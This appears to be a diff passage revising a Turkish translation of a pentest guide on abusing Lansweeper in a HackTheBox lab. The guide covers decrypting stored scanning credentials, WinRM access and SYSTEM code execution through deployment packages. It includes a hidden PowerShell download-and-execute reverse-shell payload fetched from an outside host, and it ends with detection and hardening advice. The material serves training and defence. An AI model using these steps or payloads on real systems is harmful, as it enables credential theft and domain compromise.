svc_inventory_lnx -p '' ``` -İpucu: Kerberos işlemleri zamana duyarlıdır. Eğer KRB_AP_ERR_SKEW ile karşılaşırsanız, önce DC ile saat senkronizasyonu yapın: +İpucu: Kerberos işlemleri zaman duyarlıdır. KRB_AP_ERR_SKEW hatası alırsanız önce DC ile zamanı senkronize edin: ```bash sudo ntpdate # or rdate -n ``` -## 3) Ana makinede Lansweeper tarafından yapılandırılmış secrets'leri çözme +## 3) Decrypt Lansweeper-configured secrets on the host -Lansweeper sunucusunda, ASP.NET sitesi genellikle uygulama tarafından kullanılan şifrelenmiş connection string ve uygulama tarafından kullanılan bir simetrik anahtar depolar. Uygun yerel erişimle DB connection string'ini çözebilir ve ardından depolanmış tarama kimlik bilgilerini çıkarabilirsiniz. +Lansweeper sunucusunda, ASP.NET sitesi genellikle uygulamanın kullandığı şifrelenmiş bir connection string ve simetrik bir anahtar depolar. Uygun yerel erişime sahip olduğunuzda DB connection string'ini decrypt ederek saklanan tarama kimlik bilgilerini çıkarabilirsiniz. Tipik konumlar: - Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config` - `` … `…` -- Uygulama anahtarı: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt` +- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt` -Depolanmış kimlik bilgilerini otomatik olarak çözmek ve dökmek için SharpLansweeperDecrypt'i kullanın: +Saklanan kimlik bilgilerini decrypt edip dumplamak için SharpLansweeperDecrypt'i kullanın: ```powershell # From a WinRM session or interactive shell on the Lansweeper host # PowerShell variant @@ -99,26 +99,26 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1 # - Connect to Lansweeper DB # - Decrypt stored scanning credentials and print them in cleartext ``` -Beklenen çıktı, DB bağlantı bilgilerini ve tüm ortamda kullanılan Windows ve Linux hesapları gibi düz metin tarama kimlik bilgilerini içerir. Bunlar genellikle etki alanı makinelerinde yükseltilmiş yerel haklara sahiptir: +Beklenen çıktı, DB bağlantı bilgileri ve ortam genelinde kullanılan Windows ve Linux hesapları gibi düz metin tarama kimlik bilgilerini içerir. Bunların çoğu etki alanı sunucularında yükseltilmiş yerel haklara sahiptir: ```text Inventory Windows SWEEP\svc_inventory_win Inventory Linux svc_inventory_lnx ``` -Kurtarılan Windows scanning creds ile ayrıcalıklı erişim sağlayın: +Ayrıcalıklı erişim için kurtarılan Windows tarama creds'lerini kullan: ```bash netexec winrm inventory.sweep.vl -u svc_inventory_win -p '' # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers ``` -## 4) Lansweeper Deployment → SYSTEM RCE +## 4) Lansweeper Dağıtımı → SYSTEM RCE -“Lansweeper Admins” üyesi olarak, web UI Deployment ve Configuration öğelerini gösterir. Deployment → Deployment packages altında, hedeflenen varlıklarda rastgele komutlar çalıştıran paketler oluşturabilirsiniz. Yürütme, Lansweeper service tarafından yüksek ayrıcalıklarla gerçekleştirilir ve seçilen hostta NT AUTHORITY\SYSTEM olarak kod yürütme sağlar. +“Lansweeper Admins” üyesi olarak, web arayüzü Dağıtım ve Yapılandırma bölümlerini sunar. Deployment → Deployment packages altında, hedeflenen varlıklarda rastgele komutlar çalıştıran paketler oluşturabilirsiniz. Çalıştırma, Lansweeper servisi tarafından yüksek ayrıcalıkla gerçekleştirilir ve seçilen host üzerinde NT AUTHORITY\SYSTEM olarak kod çalıştırma sağlar. -High-level steps: -- Yeni bir Deployment package oluşturun ve PowerShell veya cmd tek satırlık komut (reverse shell, add-user, vb.) çalıştırsın. +Yüksek seviye adımlar: +- PowerShell veya cmd bir satırlık (one-liner) çalıştıran yeni bir Deployment paketi oluşturun (reverse shell, add-user, vb.). - İstediğiniz varlığı hedefleyin (ör. Lansweeper'ın çalıştığı DC/host) ve Deploy/Run now'a tıklayın. - Shell'inizi SYSTEM olarak yakalayın. -Example payloads (PowerShell): +Örnek payloadlar (PowerShell): ```powershell # Simple test powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt" @@ -127,23 +127,23 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt" powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http:///rs.ps1')" ``` OPSEC -- Dağıtım işlemleri gürültülüdür ve Lansweeper ile Windows olay günlüklerinde iz bırakır. İhtiyatlı kullanın. +- Deployment işlemleri gürültülüdür ve Lansweeper ile Windows event logs içinde kayıt bırakır. İhtiyatla kullanın. -## Tespit ve güçlendirme +## Tespit ve sertleştirme -- Anonim SMB enumerasyonlarını kısıtlayın veya kaldırın. Lansweeper paylaşımlarına yönelik RID cycling ve anormal erişimleri izleyin. -- Çıkış (egress) kontrolleri: tarayıcı sunuculardan dışa yönelik SSH/SMB/WinRM trafiğini engelleyin veya sıkı şekilde kısıtlayın. Standart olmayan portlar (ör. 2022) ve Rebex gibi olağandışı istemci banner'ları için alarm oluşturun. -- `Website\\web.config` ve `Key\\Encryption.txt` dosyalarını koruyun. Sırları bir vault'a dışarı alın ve ifşa durumunda döndürün. Mümkünse minimum ayrıcalıklı service account'lar ve gMSA kullanmayı değerlendirin. -- AD izleme: Lansweeper ile ilişkili gruplardaki değişiklikler (ör. “Lansweeper Admins”, “Remote Management Users”) ve ayrıcalıklı gruplara GenericAll/Write üyeliği veren ACL değişiklikleri için alarm oluşturun. -- Deployment paketlerinin oluşturulması/değiştirilmesi/çalıştırılmasını denetleyin; cmd.exe/powershell.exe çağıran paketler veya beklenmeyen dış bağlantılar için alarm oluşturun. +- Anonim SMB enumerasyonlarını kısıtlayın veya kaldırın. RID cycling'i ve Lansweeper paylaşımlarına yönelik anormal erişimleri izleyin. +- Egress kontrolleri: scanner hostlarından çıkan SSH/SMB/WinRM trafiğini engelleyin veya sıkı şekilde kısıtlayın. Standartsız portlar (ör., 2022) ve Rebex gibi alışılmadık istemci banner'ları için uyarı oluşturun. +- Protect `Website\\web.config` and `Key\\Encryption.txt`. Gizli bilgileri bir vault'a dışarı aktarın ve açığa çıkma durumunda rotate edin. Mümkünse minimal ayrıcalıklara sahip service account'lar ve gMSA kullanmayı değerlendirin. +- AD izleme: Lansweeper ile ilgili gruplardaki değişiklikler (örn., “Lansweeper Admins”, “Remote Management Users”) ve ayrıcalıklı gruplara GenericAll/Write üyeliği veren ACL değişiklikleri için uyarı oluşturun. +- Deployment paketlerinin oluşturulmasını/değiştirilmesini/çalıştırılmasını denetleyin; cmd.exe/powershell.exe başlatan paketler veya beklenmeyen outbound bağlantılar için uyarı verin. ## İlgili konular -- SMB/LSA/SAMR enumeration ve RID cycling -- Kerberos password spraying ve clock skew ile ilgili hususlar -- BloodHound ile application-admin gruplarının path analizi -- WinRM kullanımı ve lateral movement +- SMB/LSA/SAMR enumeration and RID cycling +- Kerberos password spraying and clock skew considerations +- BloodHound path analysis of application-admin groups +- WinRM usage and lateral movement -## Referanslar +## References - [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html) - [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame) - [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)